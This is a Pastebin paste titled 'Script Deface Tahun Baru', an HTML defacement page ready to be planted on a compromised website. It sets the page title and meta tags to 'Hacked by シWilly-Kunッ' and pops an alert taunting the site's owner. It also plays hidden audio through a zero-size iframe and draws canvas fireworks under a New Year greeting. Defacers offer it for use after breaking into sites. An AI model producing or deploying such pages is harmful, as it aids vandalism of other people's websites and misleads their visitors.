Advertisement
willysec_id

Script Deface Tahun Baru

Mar 8th, 2020
1,571
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 7.65 KB | None | 0 0
  1. <!--
  2. Owned by シWilly-Kunッ
  3. This script was created by シWilly-Kunッ
  4. Special for Wulan Feby
  5. -->
  6. <!DOCTYPE html>
  7. <html>
  8. <head>
  9. <meta charset='utf-8'/>
  10. <meta content='width=device-width,initial-scale=1.0,minimum-scale=1.0,maximum-scale=1.0' name='viewport'/>
  11. <meta content='Dreamweaver' name='generator'/>
  12. <meta content='text/html; charset=UTF-8' http-equiv='Content-Type'/>
  13. <meta content='IE=edge' http-equiv='X-UA-Compatible'/>
  14. <title>Hacked by シWilly-Kunッ</title>
  15. <!-- Universal -->
  16. <link href="https://6.top4top.net/s_13942a56p1.jpg" rel="icon" type="image/x-icon"/>
  17. <meta name="description" content="This website was hacked by シWilly-Kunッ, if you're real admin of this site please contact me at mi77i@outlook.com for improve your site security."/>
  18. <meta name="DC.title" content='Hacked by シWilly-Kunッ'/>
  19. <meta name="copyright" content="2019, シWilly-Kunッ"/>
  20. <meta name="robots" content="index, follow"/>
  21. <meta name="og:title" property="og:title" content="Hacked by シWilly-Kunッ">
  22. <meta content='Indonesia' name='geo.placename'/>
  23. <meta content='シWilly-Kunッ' name='Author'/>
  24. <meta content='id' name='geo.country'/>
  25. <meta content='Aeiwi, Alexa, AllTheWeb, AltaVista, AOL Netfind, Anzwers, Canada, DirectHit, EuroSeek, Excite, Overture, Go, Google, HotBot. InfoMak, Kanoodle, Lycos, MasterSite, National Directory, Northern Light, SearchIt, SimpleSearch, WebsMostLinked, WebTop, What-U-Seek, AOL, Yahoo, WebCrawler, Infoseek, Excite, Magellan, LookSmart, CNET, Googlebot' name='search engines'/>
  26. <!-- Khusus OG -->
  27. <meta content='website' property='og:type'/>
  28. <meta content='https://6.top4top.net/s_13942a56p1.jpg'/>
  29. <meta content='Hacked by シWilly-Kunッ'/>
  30. <meta content='Hacked by シWilly-Kunッ' property='og:site_name'/>
  31. <!-- URL Theme Color untuk Chrome, Firefox OS, Opera dan Vivaldi -->
  32. <meta content='#424242' name='theme-color'/>
  33. <!-- URL Theme Color untuk Windows Phone -->
  34. <meta content='#424242' name='msapplication-navbutton-color'/>
  35. <!-- URL Theme Color untuk iOS Safari -->
  36. <meta content='yes' name='apple-mobile-web-app-capable'/>
  37. <meta content='#424242' name='apple-mobile-web-app-status-bar-style'/>
  38. <link href="https://fonts.googleapis.com/css?family=Pacifico&display=swap" rel="stylesheet">
  39. <script>
  40. alert("Your Security is Good, But Not Enough to Stop Me","シWilly-Kunッ Wuzz Here!!!");
  41. </script>
  42. <!-- Property of シWilly-Kunッ -->
  43. <style type="text/css">
  44. /*
  45. Wibu CSS
  46. Owned by シWilly-Kunッ
  47. +6285 326 843 530
  48.  
  49. */
  50. body {
  51. margin: 0;
  52. background: #020202;
  53. cursor: crosshair;
  54. }
  55. canvas{display:block}
  56. h1 {
  57. position: absolute;
  58. top: 20%;
  59. left: 50%;
  60. transform: translate(-50%, -50%);
  61. color: #fff;
  62. font-family: "Pacifico";
  63. font-size: 5em;
  64. font-weight: 900;
  65. -webkit-user-select: none;
  66. user-select: none;
  67. white-space:pre-wrap;
  68. }
  69. h3 {
  70. position: absolute;
  71. top: 40%;
  72. left: 50%;
  73. transform: translate(-50%, -50%);
  74. color: #fff;
  75. font-family: "Pacifico";
  76. font-size: 1em;
  77. font-weight: 900;
  78. -webkit-user-select: none;
  79. user-select: none;
  80. white-space:pre-wrap;
  81. }
  82.  
  83. @media screen and (max-width: 600px) {
  84. h1 {
  85. font-size: 150%;
  86. }
  87. h3 {
  88. font-size: 100%;
  89. }
  90. }
  91.  
  92. </style>
  93. </head>
  94. <awak>
  95. <h1>Selamat tahun baru</h1>
  96. <h3>シWilly-Kunッ</h3>
  97. <canvas id="willynewyears"></canvas>
  98.  
  99. <iframe width="0%" height="0" scrolling="no" frameborder="no" loop="true" allow="autoplay" src="https://6.top4top.net/m_1321is7691.mp3"></iframe>
  100.  
  101.  
  102. <script type="text/javascript">
  103. // helper functions
  104. const PI2 = Math.PI * 2
  105. const random = (min, max) => Math.random() * (max - min + 1) + min | 0
  106. const timestamp = _ => new Date().getTime()
  107.  
  108. // container
  109. class Willynewyears {
  110. constructor() {
  111. this.resize()
  112.  
  113. // create a lovely place to store the firework
  114. this.fireworks = []
  115. this.counter = 0
  116.  
  117. }
  118.  
  119. resize() {
  120. this.width = canvas.width = window.innerWidth
  121. let center = this.width / 2 | 0
  122. this.spawnA = center - center / 4 | 0
  123. this.spawnB = center + center / 4 | 0
  124.  
  125. this.height = canvas.height = window.innerHeight
  126. this.spawnC = this.height * .1
  127. this.spawnD = this.height * .5
  128.  
  129. }
  130.  
  131. onClick(evt) {
  132. let x = evt.clientX || evt.touches && evt.touches[0].pageX
  133. let y = evt.clientY || evt.touches && evt.touches[0].pageY
  134.  
  135. let count = random(3,5)
  136. for(let i = 0; i < count; i++) this.fireworks.push(new Firework(
  137. random(this.spawnA, this.spawnB),
  138. this.height,
  139. x,
  140. y,
  141. random(0, 260),
  142. random(30, 110)))
  143.  
  144. this.counter = -1
  145.  
  146. }
  147.  
  148. update(delta) {
  149. ctx.globalCompositeOperation = 'hard-light'
  150. ctx.fillStyle = `rgba(20,20,20,${ 7 * delta })`
  151. ctx.fillRect(0, 0, this.width, this.height)
  152.  
  153. ctx.globalCompositeOperation = 'lighter'
  154. for (let firework of this.fireworks) firework.update(delta)
  155.  
  156. // if enough time passed... create new new firework
  157. this.counter += delta * 3 // each second
  158. if (this.counter >= 1) {
  159. this.fireworks.push(new Firework(
  160. random(this.spawnA, this.spawnB),
  161. this.height,
  162. random(0, this.width),
  163. random(this.spawnC, this.spawnD),
  164. random(0, 360),
  165. random(30, 110)))
  166. this.counter = 0
  167. }
  168.  
  169. // remove the dead fireworks
  170. if (this.fireworks.length > 1000) this.fireworks = this.fireworks.filter(firework => !firework.dead)
  171.  
  172. }
  173. }
  174.  
  175. class Firework {
  176. constructor(x, y, targetX, targetY, shade, offsprings) {
  177. this.dead = false
  178. this.offsprings = offsprings
  179.  
  180. this.x = x
  181. this.y = y
  182. this.targetX = targetX
  183. this.targetY = targetY
  184.  
  185. this.shade = shade
  186. this.history = []
  187. }
  188. update(delta) {
  189. if (this.dead) return
  190.  
  191. let xDiff = this.targetX - this.x
  192. let yDiff = this.targetY - this.y
  193. if (Math.abs(xDiff) > 3 || Math.abs(yDiff) > 3) { // is still moving
  194. this.x += xDiff * 2 * delta
  195. this.y += yDiff * 2 * delta
  196.  
  197. this.history.push({
  198. x: this.x,
  199. y: this.y
  200. })
  201.  
  202. if (this.history.length > 20) this.history.shift()
  203.  
  204. } else {
  205. if (this.offsprings && !this.madeChilds) {
  206.  
  207. let babies = this.offsprings / 2
  208. for (let i = 0; i < babies; i++) {
  209. let targetX = this.x + this.offsprings * Math.cos(PI2 * i / babies) | 0
  210. let targetY = this.y + this.offsprings * Math.sin(PI2 * i / babies) | 0
  211.  
  212. willynewyears.fireworks.push(new Firework(this.x, this.y, targetX, targetY, this.shade, 0))
  213.  
  214. }
  215.  
  216. }
  217. this.madeChilds = true
  218. this.history.shift()
  219. }
  220.  
  221. if (this.history.length === 0) this.dead = true
  222. else if (this.offsprings) {
  223. for (let i = 0; this.history.length > i; i++) {
  224. let point = this.history[i]
  225. ctx.beginPath()
  226. ctx.fillStyle = 'hsl(' + this.shade + ',100%,' + i + '%)'
  227. ctx.arc(point.x, point.y, 1, 0, PI2, false)
  228. ctx.fill()
  229. }
  230. } else {
  231. ctx.beginPath()
  232. ctx.fillStyle = 'hsl(' + this.shade + ',100%,50%)'
  233. ctx.arc(this.x, this.y, 1, 0, PI2, false)
  234. ctx.fill()
  235. }
  236.  
  237. }
  238. }
  239.  
  240. let canvas = document.getElementById('willynewyears')
  241. let ctx = canvas.getContext('2d')
  242.  
  243. let then = timestamp()
  244.  
  245. let willynewyears = new Willynewyears
  246. window.onresize = () => willynewyears.resize()
  247. document.onclick = evt => willynewyears.onClick(evt)
  248. document.ontouchstart = evt => willynewyears.onClick(evt)
  249.  
  250. ;(function loop(){
  251. requestAnimationFrame(loop)
  252.  
  253. let now = timestamp()
  254. let delta = now - then
  255.  
  256. then = now
  257. willynewyears.update(delta / 1000)
  258.  
  259.  
  260. })()
  261. </script>
  262. </awak>
  263. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement